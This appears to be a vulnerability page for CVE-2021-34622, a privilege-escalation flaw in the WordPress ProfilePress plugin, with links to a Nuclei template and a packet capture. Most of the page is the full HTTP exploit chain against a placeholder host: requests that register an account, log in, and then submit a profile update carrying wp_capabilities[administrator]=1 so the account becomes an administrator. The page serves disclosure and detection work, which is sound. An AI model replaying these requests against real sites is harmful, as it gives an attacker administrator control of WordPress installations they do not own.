CVE-2021-34622: WordPress ProfilePress <= 3.1.3 - Privilege Escalation

🔍 Vulnerability Description

ProfilePress plugin before 3.1.4 allows privilege escalation. Due to insufficient validation in the profile update functionality, authenticated users can supply arbitrary usermeta fields, including wp_capabilities, during profile updates. This enables a user to escalate their privileges to administrator.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Content-Length: 765
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=WebKitFormBoundarypRyCNwmSkLdfNd7E

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_username"



jtQRTK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_email"



MJALpT@WfsQc.com

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_password"



fgyUS56Q

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_password_present"



true

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_first_name"



IqDn9

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_last_name"



WSayK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="action"



pp_ajax_signup

--WebKitFormBoundarypRyCNwmSkLdfNd7E--

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=pp_ajax_login&data=login_username%3DjtQRTK%26login_password%3DfgyUS56Q%26login_form_id%3D1

GET /account/edit-profile/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Content-Length: 1186
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=WebKitFormBoundarypRyCNwmSkLdfNd7E

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_username"



jtQRTK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="eup_email"



MJALpT@WfsQc.com

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="eup_first_name"



IqDn9

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="eup_last_name"



WSayK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="eup_display_name"



IqDn9 WSayK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="_wpnonce"



9id4tE

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="nonce"



iJigmd

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="ppmyac_form_action"



updateProfile

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="action"



pp_ajax_editprofile

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="is_melange"



true

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="wp_capabilities[administrator]"



1

--WebKitFormBoundarypRyCNwmSkLdfNd7E--

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34622.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-34622.pcap